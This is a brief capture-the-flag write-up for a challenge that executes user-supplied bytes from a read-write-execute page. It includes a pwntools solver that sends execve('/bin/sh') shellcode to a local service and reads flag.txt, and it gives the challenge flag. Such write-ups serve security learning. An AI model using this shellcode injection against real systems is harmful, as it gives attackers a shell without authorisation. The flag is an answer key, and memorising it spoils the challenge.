Grade 4 Technique

Walkthrough

Solution

The service maps a page with read, write, and execute permissions, copies up to 256 bytes from standard input into it, and calls the mapping directly. There is no shellcode filter, so ordinary amd64 execve("/bin/sh") shellcode is sufficient.

After the shell starts, request /flag (or the local flag.txt) to recover the challenge flag.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.arch = "amd64"
p = remote("localhost", 1349)
p.sendafter(b"Technique: ", asm(shellcraft.sh()))
p.recvuntil(b"Evaluation begins. Expectations remain manageable.\n")
p.sendline(b"cat flag.txt")
p.interactive()

Flag

SecurinetsENIT{gr4d3_4_t3chn1qu3_st1ll_g0t_4_sh3ll}